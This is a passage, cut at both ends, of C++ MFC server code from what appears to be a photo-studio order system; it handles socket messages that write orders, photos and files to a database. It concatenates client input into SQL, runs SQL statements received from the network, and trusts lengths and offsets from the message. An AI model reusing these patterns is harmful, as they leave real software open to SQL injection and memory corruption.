	htonl(pMessageHeader->dwDataLen);
	htons(pMessageHeader->wCheckSum);
	htonl(pMessageHeader->wReserve);
}

CString g_curip;
BOOL g_bLogindataprocess=0;
void CConnectSocket::processChatMessageRequest(IN void *pChatMsg)
{
	MyLock xxxlock("processChatMessageRequest");
	CString str;
	CString g_ret;
	try
	{
		if( NULL == pChatMsg ) return;
		TCHAT_MESSAGE_STRU *ptChatMessage = (TCHAT_MESSAGE_STRU *)pChatMsg;
		DWORD dwUserID = ptChatMessage->tCommonMsg.dwConnectionID;
		if(ptChatMessage->length[98]!=987123768)
		{
			char pdata[5];
			net_Send2(pdata, 5);
			return;
		}

		int nMessageLen = ptChatMessage->wMessageLen;
		if( nMessageLen > 0 )
		{
			DWORD dwFromUserID = dwUserID;
			DWORD dwToUserID = ptChatMessage->dwToUserID;
			WORD wMessageId = MSG_CHATMESSAGE_RESP;
			DWORD dwDataLen;
			BYTE *pSendData;
			TCHAT_MESSAGE_STRU *pChatMessage;

			if(dwToUserID!=15 && dwToUserID!=100 && dwToUserID!=22)//信息服务器
			{
				if(ptChatMessage->length[99]==-1)// || ptChatMessage->length[99]>=dbarray.GetSize ())
				{
					m_pConndb=m_pdb;
					//		CString ss;
					//	ss.Format("x:%d", (DWORD)m_pConndb);
					//	AfxMessageBox(ss);
				}
				else
				{
					long pos=ptChatMessage->length[99];
					long d[8];
					double f[8];
					TCHAR s0[50]=_T(""),s1[50]=_T(""),s2[50]=_T(""),s3[50]=_T(""),s4[50]=_T(""),s5[50]=_T(""),s6[50]=_T(""),s7[50]=_T("");
					//运行自定义函数
					int ret=ytSoftKey.calyearpos(&pos,&d[1],&d[2],&d[3],&d[4],&d[5],&d[6],&d[7],
						&f[0],&f[1],&f[2],&f[3],&f[4],&f[5],&f[6],&f[7],
						s0,s1,s2,s3,s4,s5,s6,s7);
					if(ret!=0 && ret!=-43)
					{
						return;
					} 

					m_pConndb=m_dbarray.ElementAt(pos);
					//	CString ss;
					//	ss.Format("y:%d", (DWORD)m_pConndb);
					//	AfxMessageBox(ss);
				}
			}
			else
				m_pConndb=m_pdb;
			if(m_pConndb)
			{
				if(dwToUserID==1)
				{
					{
						CArray<CStringArray, CStringArray>g_List1array;

						BYTE *szChatMessage = ptChatMessage->byFileContent;
						int count;
						memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int));
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						g_List1array.SetSize(count);
						for(int ii=0; ii<g_List1array.GetSize (); ii++)
						{
							g_List1array.ElementAt (ii).Serialize (ar);
						}
						ar.Close();
						memfile.Detach ();
						CString sql;

						sql="delete from taoxishangpin1 where taoxiid='"+g_List1array.ElementAt(0).ElementAt(0)+"' ";
						MyExecuteSQL ( sql);

						if(g_List1array.ElementAt(0).GetSize ()>1)
						{
							for(ii=0; ii<g_List1array.GetSize (); ii++)
							{
								sql.Format ("insert into taoxishangpin1(taoxiid,spid1,shuliang)values('%s','%s','%s')",
g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(1),g_List1array.ElementAt(ii).ElementAt(2));
								MyExecuteSQL ( sql);
							}
						}
					}
					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;


					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==2)
				{
					{
						CArray<CStringArray, CStringArray>g_List1array;
						BYTE *szChatMessage = ptChatMessage->byFileContent;
						int count;
						memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int));
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						g_List1array.SetSize(count);
						for(int ii=0; ii<g_List1array.GetSize (); ii++)
						{
							g_List1array.ElementAt (ii).Serialize (ar);
						}
						ar.Close();
						memfile.Detach ();
						CString sql;

						sql="delete from taoxishangpin2 where taoxiid='"+g_List1array.ElementAt(0).ElementAt(0)+"' ";
						MyExecuteSQL ( sql);

						if(g_List1array.ElementAt(0).GetSize ()>1)
						{
							for(ii=0; ii<g_List1array.GetSize (); ii++)
							{
								sql.Format ("insert into taoxishangpin2(taoxiid,spid2,shuliang)values('%s','%s','%s')",
g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(1),g_List1array.ElementAt(ii).ElementAt(2));
								MyExecuteSQL ( sql);
							}
						}
					}
					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;
					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);

				}
				else if(dwToUserID==3)
				{
					{
						CArray<CStringArray, CStringArray>g_List1array;

						BYTE *szChatMessage = ptChatMessage->byFileContent;
						int count;
						memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int));
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						g_List1array.SetSize(count);
						for(int ii=0; ii<g_List1array.GetSize (); ii++)
						{
							g_List1array.ElementAt (ii).Serialize (ar);
						}
						ar.Close();
						memfile.Detach ();
						CString sql;
						CString status1,status2;
						status1="未完成";
						status2="未取";
						CString clerk=g_List1array.ElementAt(count-1).ElementAt(0);
						CString date=CTime::GetCurrentTime ().Format ("%Y-%m-%d %H:%M:%S");

						CString sql2,bookingdate;
						BOOL bGetDate=0;

						if(g_List1array.GetSize ()>1)
						{
							if(g_List1array.ElementAt(g_List1array.GetSize ()-2).ElementAt(0)=="成长套系")
							{
								for(int a=1; a<g_List1array.ElementAt(g_List1array.GetSize ()-2).GetSize(); a++)
								{
									for(ii=0; ii<g_List1array.GetSize ()-2; ii++)
									{
										if(g_List1array.ElementAt(ii).GetSize ()==2)
										{
											if(bGetDate==0)
											{
												bGetDate=1;
												CString id=g_List1array.ElementAt(g_List1array.GetSize ()-2).ElementAt(a);
												CRecordset myset(m_pConndb);
												CString	sql="select [time2] from [dindan] where [id]='"+id+"' ";
												myset.Open (CRecordset::forwardOnly, sql);
												myset.GetFieldValue ("time2", bookingdate);
												myset.Close();
											}
											sql.Format ("insert into dindanjd([id],[name],[bookingdate],[status])values('%s','%s','%s','未拍')",
												g_List1array.ElementAt(g_List1array.GetSize ()-2).ElementAt(a),g_List1array.ElementAt(ii).ElementAt(1),bookingdate);
											MyExecuteSQL ( sql);
										}
										else if(g_List1array.ElementAt(ii).GetSize ()>2)
										{
											sql.Format ("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[urgent],[taketime])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",
												g_List1array.ElementAt(g_List1array.GetSize ()-2).ElementAt(a),g_List1array.ElementAt(ii).ElementAt(1),g_List1array.ElementAt(ii).ElementAt(2),g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5),status1,status2,g_List1array.ElementAt(ii).ElementAt(6),g_List1array.ElementAt(ii).ElementAt(7));
											///////////////
											sql2.Format ("insert into dindansp2([id],[name],[count],[date],[clerk])values('%s','%s','%s','%s','%s')",
												g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(5),g_List1array.ElementAt(ii).ElementAt(3),date,clerk);			
											MyExecuteSQL ( sql2);
											MyExecuteSQL ( sql);
											///////////////
										}
									}
								}
							}
							else
							{
								for(ii=0; ii<g_List1array.GetSize (); ii++)
								{
									if(g_List1array.ElementAt(ii).GetSize ()==2)
									{
										if(bGetDate==0)
										{
											bGetDate=1;
											CString id=g_List1array.ElementAt(ii).ElementAt(0);
											CRecordset myset(m_pConndb);
											CString	sql="select [time2] from [dindan] where [id]='"+id+"' ";
											myset.Open (CRecordset::forwardOnly, sql);
											myset.GetFieldValue ("time2", bookingdate);
											myset.Close();
										}
										sql.Format ("insert into dindanjd([id],[name],[bookingdate],[status])values('%s','%s','%s','未拍')",
											g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(1),bookingdate);	
										MyExecuteSQL ( sql);
									}
									else if(g_List1array.ElementAt(ii).GetSize ()>2)
									{
										if(g_List1array.ElementAt(ii).GetSize ()==8)
											sql.Format ("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[urgent],[taketime])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",
											g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(1),g_List1array.ElementAt(ii).ElementAt(2),g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5),status1,status2,g_List1array.ElementAt(ii).ElementAt(6),g_List1array.ElementAt(ii).ElementAt(7));
										else
											sql.Format ("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[urgent],[taketime],[growthtxname])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",
											g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(1),g_List1array.ElementAt(ii).ElementAt(2),g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5),status1,status2,g_List1array.ElementAt(ii).ElementAt(6),g_List1array.ElementAt(ii).ElementAt(7),g_List1array.ElementAt(ii).ElementAt(8));
										///////////////
										sql2.Format ("insert into dindansp2([id],[name],[count],[date],[clerk])values('%s','%s','%s','%s','%s')",
											g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(5),g_List1array.ElementAt(ii).ElementAt(3),date,clerk);			
										MyExecuteSQL ( sql2);	MyExecuteSQL ( sql);
										///////////////
									}
								}
							}
						}	
					}
					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;


					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==26)
				{
					//			 	AfxMessageBox("0");
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					char no[100];
					memset(no, 0, 100);
					memcpy(no, szChatMessage+nMessageLen-100, 100);
					CString id=no; 
					int nSize=nMessageLen-100;
					//	CString ss;
					//	ss.Format ("id:%s %d", id, nSize);

					CRstRenYuanPhoto rsSt; 
					rsSt.m_strFilter ="id='"+id+"'";
					rsSt.Open ();
					rsSt.Edit ();
					rsSt.photo.m_dwDataLength=nSize;
					if(nSize)
					{
						HGLOBAL hGlobal = GlobalAlloc(GPTR,nSize); 
						rsSt.photo.m_hData=GlobalLock(hGlobal); 
						memcpy(rsSt.photo.m_hData, szChatMessage, nSize);
						rsSt.SetFieldDirty(&rsSt.photo);
						rsSt.SetFieldNull(&rsSt.photo,FALSE);
						rsSt.Update();		
						GlobalUnlock(hGlobal); 
					}
					else
					{	
						rsSt.SetFieldDirty(&rsSt.photo);
						rsSt.SetFieldNull(&rsSt.photo,true);
						rsSt.Update();	
					}
					rsSt.Close();


					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;


					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==37)
				{
					//			 	AfxMessageBox("0");
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					char no[100];
					memset(no, 0, 100);
					memcpy(no, szChatMessage+nMessageLen-100, 100);
					CString id=no; 
					int nSize=nMessageLen-100;
					//	CString ss;
					//	ss.Format ("id:%s %d", id, nSize);

					CString hasphoto="无";
					CRstClientPhoto rsSt; 
					rsSt.m_strFilter ="id='"+id+"'";
					rsSt.Open ();
					rsSt.Edit ();
					rsSt.photo.m_dwDataLength=nSize;
					if(nSize)
					{
						HGLOBAL hGlobal = GlobalAlloc(GPTR,nSize); 
						rsSt.photo.m_hData=GlobalLock(hGlobal); 
						memcpy(rsSt.photo.m_hData, szChatMessage, nSize);
						rsSt.SetFieldDirty(&rsSt.photo);
						rsSt.SetFieldNull(&rsSt.photo,FALSE);
						rsSt.Update();		
						GlobalUnlock(hGlobal); hasphoto="有";
					}
					else
					{	
						rsSt.SetFieldDirty(&rsSt.photo);
						rsSt.SetFieldNull(&rsSt.photo,true);
						rsSt.Update();	
					}
					rsSt.Close();
					CString sql;
					sql.Format ("update dindan set status5='%s' where id='%s'", hasphoto, id);
					MyExecuteSQL ( sql);

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==39)
				{

					BYTE *szChatMessage = ptChatMessage->byFileContent;
					char no[100];
					memset(no, 0, 100);
					memcpy(no, szChatMessage+nMessageLen-100, 100);
					CString id,date;
					CString str=no; 
					int pos=str.Find(";");
					id=str.Left(pos);
					date=str.Right(str.GetLength()-pos-1);

					int nSize=nMessageLen-100;

					if(date!="")
					{ 
						CString sql;
						sql.Format ("delete from clientcontract where id='%s' and date='%s'", id, date);
						MyExecuteSQL ( sql);
					}
					else
					{
						CRstclientcontract rsSt; 

						rsSt.Open ();
						rsSt.AddNew ();
						rsSt.id=id;
						rsSt.date=CTime::GetCurrentTime ().Format ("%Y-%m-%d %H:%M:%S");
						rsSt.photo.m_dwDataLength=nSize;
						HGLOBAL hGlobal = GlobalAlloc(GPTR,nSize); 
						rsSt.photo.m_hData=GlobalLock(hGlobal); 
						memcpy(rsSt.photo.m_hData, szChatMessage, nSize);
						rsSt.SetFieldDirty(&rsSt.photo);
						rsSt.SetFieldNull(&rsSt.photo,FALSE);
						rsSt.Update();		
						GlobalUnlock(hGlobal);

						rsSt.Close();
					}

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==40)
				{
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					char no[100];
					memset(no, 0, 100);
					memcpy(no, szChatMessage+nMessageLen-100, 100);
					CString id,date;
					CString str=no; 
					int pos=str.Find(";");
					id=str.Left(pos);
					date=str.Right(str.GetLength()-pos-1);

					CRstclientcontract rsSt; 
					rsSt.m_strFilter ="id='"+id+"' and date='"+date+"'";
					rsSt.Open ();
					int nDataLen=rsSt.photo.m_dwDataLength;
					BYTE *pData2=NULL;
					if(nDataLen)
					{ 
						pData2=new BYTE[nDataLen];
						void *pData=GlobalLock(rsSt.photo.m_hData); 
						memcpy(pData2, pData, nDataLen);
						GlobalUnlock(rsSt.photo.m_hData); 

					}
					rsSt.Close();

					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					if(nDataLen)
					{
						memcpy(pChatMessage->byFileContent, pData2, nDataLen);delete []pData2;
					}
				}
#if 1	// Jeff.apend at.2014.07.08.多多福文件柜.---------------------------------------------------------------------------------------
				else if(dwToUserID==42)
				{
					BYTE *szChatMessage = ptChatMessage->byFileContent;//nMessageLen
					BYTE *pData=szChatMessage;

					// 1.获取SQL语句在数据中的位置nSqlPos;
					DWORD nSqlPos;
					memcpy(&nSqlPos, pData+nMessageLen-sizeof(nSqlPos), sizeof(nSqlPos));

					// 2.获取SQL语句长度;
					DWORD sqlleng;
					memcpy(&sqlleng, pData+nSqlPos, sizeof(sqlleng));	
					char *pSql=new char[sqlleng+1];
					memset(pSql, 0, sqlleng+1);

					// 3.获取SQL语句;
					memcpy(pSql, pData+nSqlPos+sizeof(sqlleng), sqlleng);
					CString sql=pSql;
					delete []pSql;

					// 4.执行SQL语句,写文件记录;
					CString timestamp=CTime::GetCurrentTime().Format("%Y-%m-%d %H:%M:%S");
					sql.Replace("msgtimestamp2", timestamp);
					MyExecuteSQL(sql);
					//WriteLogin(sql);//Jeff.

					// 5.获取文件内容;
					int nSize=nSqlPos; 
					CRstfilemanage2 rsSt; 
					rsSt.m_pDatabase=m_pConndb;
					rsSt.m_strFilter ="date='"+timestamp+"'";
					if(!rsSt.Open())
						WriteLogin("打开失败");
					rsSt.Edit();
					rsSt.files.m_dwDataLength=nSize;
					if(nSize)
					{
						//WriteLogin("go to write1");
						HGLOBAL hGlobal = GlobalAlloc(GPTR,nSize); 
						rsSt.files.m_hData=GlobalLock(hGlobal); 

						if(1)
						{
							//WriteLogin("------1");
							BYTE *pData = szChatMessage;
							const BYTE *lpszOut = NULL;
							int nOutSize = 0;
							LZARI Lzari;
							//WriteLogin("------2");
							Lzari.Compress(pData,nSize,lpszOut,nOutSize);
							WriteLogin("------3");
							memcpy(rsSt.files.m_hData, lpszOut,nOutSize);
							//WriteLogin("------4");
							Lzari.Release();
						}
						else
						{
							memcpy(rsSt.files.m_hData, szChatMessage, nSize);
						}

						//WriteLogin("------5");
						rsSt.SetFieldDirty(&rsSt.files);
						rsSt.SetFieldNull(&rsSt.files,FALSE);
						//WriteLogin("------6");
						rsSt.Update();		
						//WriteLogin("------7");
						GlobalUnlock(hGlobal); 
					}
					else
					{	
						//WriteLogin("go to write2");
						rsSt.SetFieldDirty(&rsSt.files);
						rsSt.SetFieldNull(&rsSt.files,true);
						rsSt.Update();	
					}
					rsSt.Close(); 

					//WriteLogin("写入成功");

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==44)
				{
					BYTE *szChatMessage = ptChatMessage->byFileContent;//nMessageLen
					BYTE *pData=szChatMessage;
					DWORD nSqlPos;
					memcpy(&nSqlPos, pData+nMessageLen-sizeof(nSqlPos), sizeof(nSqlPos));
					DWORD sqlleng;
					memcpy(&sqlleng, pData+nSqlPos, sizeof(sqlleng));	
					char *pSql=new char[sqlleng+1];memset(pSql, 0, sqlleng+1);
					memcpy(pSql, pData+nSqlPos+sizeof(sqlleng), sqlleng);
					CString sql=pSql;
					delete []pSql;

					CString timestamp=CTime::GetCurrentTime ().Format ("%Y-%m-%d %H:%M:%S");
					sql.Replace("msgtimestamp2", timestamp);
					MyExecuteSQL (sql);

					int nSize=nSqlPos; 
					if(nSize)
					{
						CRstfilemanage2 rsSt; 
						rsSt.m_pDatabase=m_pConndb;
						rsSt.m_strFilter ="date='"+timestamp+"'";
						rsSt.Open ();
						rsSt.Edit ();
						rsSt.files.m_dwDataLength=nSize;
						if(nSize)
						{
							HGLOBAL hGlobal = GlobalAlloc(GPTR,nSize); 
							rsSt.files.m_hData=GlobalLock(hGlobal); 

							if(1)
							{
								BYTE *pData = szChatMessage;
								const BYTE *lpszOut = NULL;
								int nOutSize = 0;
								LZARI Lzari;
								Lzari.Compress(pData,nSize,lpszOut,nOutSize);
								memcpy(rsSt.files.m_hData, lpszOut,nOutSize);
								Lzari.Release();
							}
							else
							{
								memcpy(rsSt.files.m_hData, szChatMessage, nSize);
							}
							rsSt.SetFieldDirty(&rsSt.files);
							rsSt.SetFieldNull(&rsSt.files,FALSE);
							rsSt.Update();		
							GlobalUnlock(hGlobal); 
						}
						else
						{	
							rsSt.SetFieldDirty(&rsSt.files);
							rsSt.SetFieldNull(&rsSt.files,true);
							rsSt.Update();	
						}
						rsSt.Close(); 
					}

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==43)
				{
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					char no[20];
					memset(no, 0, 20);
					memcpy(no, szChatMessage, 20);
					CString timestamp=no;

					CRstfilemanage2 rsSt; 
					rsSt.m_pDatabase=m_pConndb;
					rsSt.m_strFilter ="date='"+timestamp+"'";
					rsSt.Open();

					int nDataLen=rsSt.files.m_dwDataLength;
					BYTE *pData2=NULL;
					if(nDataLen)
					{ 
						pData2=new BYTE[nDataLen];
						void *pData=GlobalLock(rsSt.files.m_hData); 

						memcpy(pData2, pData, nDataLen);
						GlobalUnlock(rsSt.files.m_hData); 
					}
					rsSt.Close();

					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					if(nDataLen)
						memcpy(pChatMessage->byFileContent, pData2, nDataLen);
				}
#endif
				else if(dwToUserID==38)
				{
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					char no[100];
					memset(no, 0, 100);
					memcpy(no, szChatMessage, 100);
					CString id=no;

					CRstClientPhoto rsSt; 
					rsSt.m_strFilter ="id='"+id+"'";
					rsSt.Open ();
					int nDataLen=rsSt.photo.m_dwDataLength;
					BYTE *pData2=NULL;
					if(nDataLen)
					{ 
						pData2=new BYTE[nDataLen];
						void *pData=GlobalLock(rsSt.photo.m_hData); 
						memcpy(pData2, pData, nDataLen);
						GlobalUnlock(rsSt.photo.m_hData); 

					}
					rsSt.Close();

					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					if(nDataLen)
					{
						memcpy(pChatMessage->byFileContent, pData2, nDataLen);delete []pData2;
					}
				}
				else if(dwToUserID==35)
				{

					BYTE *szChatMessage = ptChatMessage->byFileContent;
					char no[100];
					memset(no, 0, 100);
					memcpy(no, szChatMessage+nMessageLen-100, 100);
					CString id=no; 
					int nSize=nMessageLen-100;

					CString hasphoto="无";

					CRstgudingfeiyongPhoto rsSt; 
					rsSt.m_strFilter.Format("id=%d", atoi(id));
					rsSt.Open ();
					rsSt.Edit ();
					rsSt.photo.m_dwDataLength=nSize;
					if(nSize)
					{
						HGLOBAL hGlobal = GlobalAlloc(GPTR,nSize); 
						rsSt.photo.m_hData=GlobalLock(hGlobal); 
						memcpy(rsSt.photo.m_hData, szChatMessage, nSize);
						rsSt.SetFieldDirty(&rsSt.photo);
						rsSt.SetFieldNull(&rsSt.photo,FALSE);
						rsSt.Update();		
						GlobalUnlock(hGlobal); 
						hasphoto="有";
					}
					else
					{	
						rsSt.SetFieldDirty(&rsSt.photo);
						rsSt.SetFieldNull(&rsSt.photo,true);
						rsSt.Update();	
					}
					rsSt.Close();

					CString sql;
					sql.Format ("update gudingfeiyong set hasphoto='%s' where id=%s", hasphoto, id);
					MyExecuteSQL ( sql);

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==36)
				{
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					char no[100];
					memset(no, 0, 100);
					memcpy(no, szChatMessage, 100);
					CString id=no;

					CRstgudingfeiyongPhoto rsSt; 
					rsSt.m_strFilter.Format("id=%d", atoi(id));
					rsSt.Open ();

					int nDataLen=rsSt.photo.m_dwDataLength;
					BYTE *pData2=NULL;
					if(nDataLen)
					{ 
						pData2=new BYTE[nDataLen];
						void *pData=GlobalLock(rsSt.photo.m_hData); 
						memcpy(pData2, pData, nDataLen);
						GlobalUnlock(rsSt.photo.m_hData); 

					}
					rsSt.Close();

					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					if(nDataLen)
						memcpy(pChatMessage->byFileContent, pData2, nDataLen);
				}
				else if(dwToUserID==33)
				{
					BYTE *szChatMessage = ptChatMessage->byFileContent;//nMessageLen
